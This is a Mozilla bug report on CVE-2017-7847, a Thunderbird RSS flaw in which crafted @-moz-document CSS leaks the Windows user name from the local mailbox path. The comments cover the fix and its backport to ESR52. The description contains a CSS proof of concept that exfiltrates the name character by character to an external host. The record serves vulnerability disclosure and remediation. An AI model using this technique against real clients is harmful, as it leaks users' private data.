1411708 - (CVE-2017-7847) TBE-01-012: RSS Local Path Leak via @-moz-document

Status: RESOLVED FIXED

(MailNews Core :: Feed Reader, defect)

Description

[Ben Bucksch (:BenB)]

It was found that the local path string is leaked via crafted CSS in the Thunderbird feed feature. Gecko supports the @-moz-document CSS at-rule 2 . This at-rule allows to apply CSS depending on the string included in the URL. On Windows, if the <link> element, which is used for the article URL, is not specified, the feed contents are loaded in mailbox:///C:/Users/[USER_NAME]/... including computer’s user-name. The following steps show that this [USER_NAME] string can be leaked via the @-moz-document rule.
Steps to Reproduce:
• Subscribe to the https://vulnerabledoma.in/pen/tb_-moz-document_pathleak.xml
feed from one’s account.
• Open the feed’s contents.
• Confirm background requests. Observe the local path, including computer’s user- name, being sent to an external domain.

PoC:
<style>
@-moz-document regexp("mailbox:///C:/Users/A.*$")
{.div1{background:url(https://cure53.de/?char1=A)}}
@-moz-document regexp("mailbox:///C:/Users/B.*$")
{.div1{background:url(https://cure53.de/?char1=B)}}
@-moz-document regexp("mailbox:///C:/Users/C.*$")
{.div1{background:url(https://cure53.de/?char1=C)}}
@-moz-document regexp("mailbox:///C:/Users/D.*$")
{.div1{background:url(https://cure53.de/?char1=D)}}
[...]
</style>
This PoC shows how it is first attempted to get the initial ten characters from user-name string on the local path. Assuming a victim with a user-name "Masato", the following requests will be sent:
GET https://cure53.de/?char1=M HTTP/1.1
GET https://cure53.de/?char1=a HTTP/1.1
GET https://cure53.de/?char1=s HTTP/1.1
GET https://cure53.de/?char1=a HTTP/1.1
GET https://cure53.de/?char1=t HTTP/1.1
GET https://cure53.de/?char1=o HTTP/1.1

It seems that there is a plan to remove the @-moz-document rule 3 , but this has not been implemented so far. Therefore, it is recommended to disable the use of @-moz-document rule from web content. This will help ensure that an attacker cannot abuse the power of regular expressions by combining them with seemingly harmless CSS in seeking to match and exfiltrate valuable data.

Comment 1

[Ben Bucksch (:BenB)]

For the original report as PDF; see bug 1411701.

Comment 2

[Daniel Veditz [:dveditz]]

Another approach might be to disable the loading of remote content in "local" feed content the way we do for mail. Of course the default behavior is to load the feed items as web pages which obviously requires remote content, so that's not going to work there.

Comment 3

[alta88]

If the root problem is Bug 1035091, then it doesn't seem the correct solution is in the feed component or even thunderbird content poolicy.

Comment 4

[alta88]

Fixed by Bug 1035091.

Comment 5

[Magnus Melin [:mkmelin]]

We should probably uplift, with slight modification (from bug 1035091):
https://hg.mozilla.org/mozilla-central/rev/37e0bd919af0
https://hg.mozilla.org/mozilla-central/rev/b556432c990b

Comment 6

[Jorg K (CEST = GMT+2)]

(In reply to Magnus Melin from comment #5)
> We should probably uplift, with slight modification (from bug 1035091):
"with slight modification"? Which modification?

Comment 7

[Magnus Melin [:mkmelin]]

Well, to make pref("layout.css.moz-document.content.enabled",  false);

(Or just uplift as is + that land that pref setting in all-thunderbird.js)

Comment 8

[Jorg K (CEST = GMT+2)]

Attachment: uplift needed.txt

tracking esr 52 won't find the bug, but attaching a patch will.

Comment 9

[Jorg K (CEST = GMT+2)]

Comment on attachment 8933935 [details]
uplift needed.txt

Sadly
https://hg.mozilla.org/mozilla-central/rev/37e0bd919af0
https://hg.mozilla.org/mozilla-central/rev/b556432c990b
can't be uplifted.

When trying to apply the first changeset, I get various merge errors, amongst them:
unable to find 'layout/style/StylePrefs.cpp' for patching
2 out of 2 hunks FAILED -- saving rejects to file layout/style/StylePrefs.cpp.rej
unable to find 'layout/style/StylePrefs.h' for patching
1 out of 1 hunks FAILED -- saving rejects to file layout/style/StylePrefs.h.rej

Those two source files were introduced on bug 1366956 here:
https://hg.mozilla.org/mozilla-central/rev/3ba584a59aa7

Comment 10

[Jorg K (CEST = GMT+2)]

Attachment: port.patch

Comment 11

[Jorg K (CEST = GMT+2)]

https://hg.mozilla.org/releases/mozilla-esr52/rev/fc0017dd3bfc5b793b985bdc2ed233c4a7488970
Fingers crossed ;-)

Comment 12

[Jorg K (CEST = GMT+2)]

Oops, cut and paster error, now fixed:
https://hg.mozilla.org/releases/mozilla-esr52/rev/378dcc9bc197049d7485e8c528eedcf052c57a69

Comment 13

[Jorg K (CEST = GMT+2)]

This needed to be redone, so:
https://hg.mozilla.org/releases/mozilla-esr52/rev/34c968767eb7aaaeb7d8707cf6b8e0f9fb86aa9c